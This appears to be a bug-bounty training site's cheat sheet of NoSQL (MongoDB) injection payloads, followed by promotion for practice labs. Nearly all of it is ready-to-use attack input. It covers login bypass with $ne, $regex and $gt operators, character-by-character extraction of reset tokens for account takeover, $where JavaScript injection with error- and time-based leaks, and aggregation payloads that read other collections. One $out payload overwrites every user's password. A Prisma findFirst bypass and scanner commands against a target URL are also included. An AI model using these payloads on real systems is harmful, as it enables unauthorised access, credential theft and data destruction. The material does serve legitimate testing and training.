NoSQL Injection Cheatsheet
NoSQL Injection (MongoDB)
Quick reference
- →Always try the $ne, $gt, $regex operators in login parameters as your first test
- →$regex allows character-by-character extraction — ideal for tokens and passwords
- →Error-based extraction with $where: force a throw to include sensitive data in the error
- →$lookup in the aggregation pipeline lets you JOIN and read other collections
- →Prisma ORM: findFirst() is vulnerable to operator injection, findUnique() is not
Authentication bypass
URL format - $ne
username[$ne]=toto&password[$ne]=toto
URL format - $regex
username[$regex]=.*&password[$regex]=.*
URL format - $exists
username[$exists]=true&password[$exists]=true
JSON - $ne null
{"username": {"$ne": null}, "password": {"$ne": null}}JSON - $ne string
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}JSON - $gt undefined
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}JSON - $gt empty
{"username": {"$gt": ""}, "password": {"$gt": ""}}Operator injection
Not equals
username[$ne]=1&password[$ne]=1
Regex match
username[$regex]=^adm&password[$ne]=1
Regex lengthDetermine the field length
username[$regex]=.{25}&pass[$ne]=1Equals
username[$eq]=admin&password[$ne]=1
Less than
username[$ne]=admin&pass[$lt]=s
Greater than
username[$ne]=admin&pass[$gt]=s
Not in array
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
$in with multiple users
{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}$regex oracle - character-by-character extraction
Extract first characterIf the response differs, the field starts with A
{"token": {"$regex": "^A"}}Extract second characterContinue: ^Ab, ^Ac, ... until a match
{"token": {"$regex": "^Ab"}}Password reset token leak
1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATOOptimized binary searchReduce from ~127 to ~7 queries per character using binary ranges
{"password": {"$regex": "^[a-m]"}}$where and JavaScript injection
Basic $where
' || 1==1//
$where with null byte
' || 1==1%00
$where equals
'=='
Error-based extractionThe error message includes the secret value
{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}Time-based injection
admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'Sleep-based
';sleep(5000);
Injection in the aggregation pipeline
$lookup - JOIN to leak data
[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]$out - overwrite collectionOverwrites passwords for the entire collection
[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]Prisma findFirst bypassfindFirst is vulnerable, findUnique is not
{"username": {"not": "admin"}, "email": {"startsWith": "a"}}Tools
NoSQLMap
Automated NoSQL injection tool for MongoDB
python3 nosqlmap.py -u https://target.com/login -p username,password
nosqli
CLI NoSQL injection scanner with multiple techniques
nosqli scan -t https://target.com/api/login
Burp Suite + NoSQLi extension
Burp extension for automatic NoSQL injection detection
Burp > Extensions > NoSQL Injection
Related content
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labshunters training
labs from real hacks
completions
paid out for these bugs
The checklist I run on every new target
47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.
Unsubscribe in one click, from any email.
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime